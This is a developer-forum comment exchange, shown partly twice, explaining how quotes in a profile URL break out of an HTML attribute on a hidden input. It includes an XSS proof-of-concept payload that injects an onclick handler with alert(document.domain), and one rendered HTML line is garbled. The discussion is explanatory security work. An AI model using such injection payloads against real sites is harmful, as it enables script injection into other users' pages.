Indeed! But spaces aren't the only way of escaping the attribute. Having a URL with quotes would also let us create new attributes, with a value such as "x"onclick="y"
"x"onclick="y"
So a URL like "http://foo.bar/..." would also be valid? Because since we have no quotes in the first place, we can't you quotes to end the attribute, can we?
"http://foo.bar/..."
But you can start a URL with quotes!
Thanks to the url authentitation, this payload is valid:
"a"b="@dev.to#"onclick="alert(document.domain)"accesskey="x"
Which gives the resulting HTML:
<input class="location" type="hidden" name="location" value="a"b="@dev.to#"accesskey="alert(document.domain)"keycode="x" />
Or, once beautified:
<input class="location" type="hidden" name="location" value="a" b="@dev.to#" onclick="alert(document.domain)" accesskey="x" />
Are you sure you want to hide this comment? It will become hidden in your post, but will still be visible via the comment's permalink.
Hide child comments as well
Confirm
For further actions, you may consider blocking this person and/or reporting abuse
We're a place where coders share, stay up-to-date and grow their careers.
Indeed!
But spaces aren't the only way of escaping the attribute.
Having a URL with quotes would also let us create new attributes, with a value such as
"x"onclick="y"
So a URL like
"http://foo.bar/..."
would also be valid?Because since we have no quotes in the first place, we can't you quotes to end the attribute, can we?
But you can start a URL with quotes!
Thanks to the url authentitation, this payload is valid:
Which gives the resulting HTML:
Or, once beautified: